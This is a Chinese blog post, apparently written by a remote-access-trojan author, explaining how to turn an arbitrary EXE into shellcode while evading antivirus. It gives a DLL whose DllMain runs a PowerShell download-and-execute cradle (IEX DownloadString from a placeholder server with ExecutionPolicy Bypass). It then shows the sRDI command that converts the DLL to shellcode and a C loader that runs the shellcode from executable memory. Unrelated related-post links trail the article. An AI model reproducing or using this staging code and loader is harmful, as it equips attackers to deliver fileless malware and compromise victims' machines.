任意Exe转ShellCode?
之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有
这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”
测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……
脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”
但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会
于是乎,想到了另外一种歪门邪道的方法:
正文开始
GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows
这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)
#include <windows.h>
using namespace std;
void powershell() {
system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) {
switch(fdwReason) {
case DLL_PROCESS_ATTACH: {
powershell();
}
case DLL_PROCESS_DETACH: {
break;
}
case DLL_THREAD_ATTACH: {
powershell();
}
case DLL_THREAD_DETACH: {
break;
}
}
return TRUE;
}
创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了
python ConvertToShellcode.py -i -c name.dll
在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!
扩展补充
可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便
C语言Shellcode加载器
#include <windows.h>
int main(){
unsigned char shellcode[] = { };//输入你的c语言格式的shellcode
// Allocate memory for shellcode
LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpShellcode == NULL)return 0;
// Copy shellcode to allocated memory
memcpy(lpShellcode, shellcode, sizeof(shellcode));
// Execute shellcode
((void(*)())lpShellcode)();
// Free allocated memory
VirtualFree(lpShellcode, 0, MEM_RELEASE);
return 0;
}
任意Exe转ShellCode?的更多相关文章
- 把任意exe程序注册成windows系统服务
某gae代理软件每次开机都需要手动启动,就算添加成开机启动项,在win8.1下权限的管理更加严格,开机时并不能成功启动软件(无人值守时开机),因此在网上搜索把exe注册成系统服务的办法,找到论坛两个帖 ...
- BS项目启动任意EXE文件或者CS项目
1. 基于注册表启动exe程序 1. 桌面新建注册表执行文件:protocal.reg 2. 任意文本编辑器打开该文件 Windows Registry Editor Version 5.00 [HK ...
- 怎样把任意exe程序注册成windows系统服务(手动注册服务)
1. 要实现这个功能要用到微软提供的两个小工具“instsrv.exe”和“srvany.exe”(下载地址:http://www.cr173.com/soft/64394.html). 先下载这两个 ...
- 使用NSSM把任意exe程序注册成Windows服务
1.登录NSSM官网下载最新版本: http://www.nssm.cc/download 2.解压之后可以看到win32和win64位的nssm.exe,根据自己的电脑选择使用 3.拷贝一份nssm ...
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 把exe注册为windows服务
1.需要工具 Instsrv.exe(可以给系统安装和删除服务) Srvany.exe(可以让程序以服务的方式运行) 2.运行cmd,输入注册服务命令 "instsrv.exe完整路径&qu ...
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
- The Honeynet ProjectThe Honeynet Project
catalogue . 蜜罐基本概念 . Kippo: SSH低交互蜜罐安装.使用 . Dionaea: 低交互式蜜罐框架部署 . Thug . Amun malware honeypots . Gl ...
- OD: ASLR
ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化.堆栈随机化.PE ...
- 我的第一个RootKit,支持XP、Vista、Win7、Win8 RTM 32位
只有写过一个BootKit,才能比较深刻的理解其整个过程与机制,也能加深对Windows系统引导各个过程的熟悉和理解. 我写的这个bootkit,暂时还没想到一个比较好的名字,它 1. 支持xp到w ...
随机推荐
- linux查看进程信息
top 实时查看进程信息,展示进程id,使用内存,占用cpu等信息,可以查看内容占用最多.cpu使用最多的进程,然后再根据进程id查看进程的详细信息.实时更新 ps 瞬时查看进程情况,ps -ef | ...
- Debug --> 攻击方式
1.CSRF攻击概述: CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一. CSRF攻击原 ...
- 如何在微信小程序中使用ECharts图表
在微信小程序中使用ECharts 1. 下载插件 首先,下载 GitHub 上的 ecomfe/echarts-for-weixin 项目. 下载链接:ecomfe/echarts-for-weixi ...
- 补充-jdk5新增多线程实现方式
创建多线程的原始两种方式 1.继承Thread类 2.实现Runable接口 jdk5新增的两种方式 1.实现Callable接口 jdk5:新增创建线程方式:实现Callable * ...
- RocketMQ4.x本地源码部署教程
安装前提条件(推荐) 64bit OS, Linux/Unix/Mac (Windows不兼容)64bit JDK 1.8+; 快速开始 http://rocketmq.apache.org/docs ...
- jmeter的三种参数化方式
一.通过添加前置处理器(用户参数) 1. 在http层级下添加--前置处理器--用户参数 2.可以修改名称,每次迭代更新一次(一定要勾选上),这样才会每次迭代变量值也更新 ,点击下面添加用户(多次测试 ...
- @click使用三元运算符
@click="scope.row.status == 1 ? '' : blockUp(scope.row) "
- 1.3Dmax界面_试图操作
一.初始界面 1.菜单栏(软件的核心) 2.工具栏 3.石墨工具 4.命令板块 5.场景大纲 tools--> new Scene Explorer 创建的物体信息就会从出现在这里 6.视图窗口 ...
- echarts数据过小,log类型无法出现刻度线,并将y轴转为科学计数法
方法仅供参考 可以更改logBase的值,数值越小刻度线越多,但也会出现,刻度值重复的问题,看各自需要,其次是对数据进行处理,全部变成大于1的数,最后在echarts的图表显示设置中更改回来 注意:对 ...
- 记录Nginx配置
1 # Proxy to the Airsonic server location / { proxy_set_header X-Real-IP $remote_addr; proxy_set_hea ...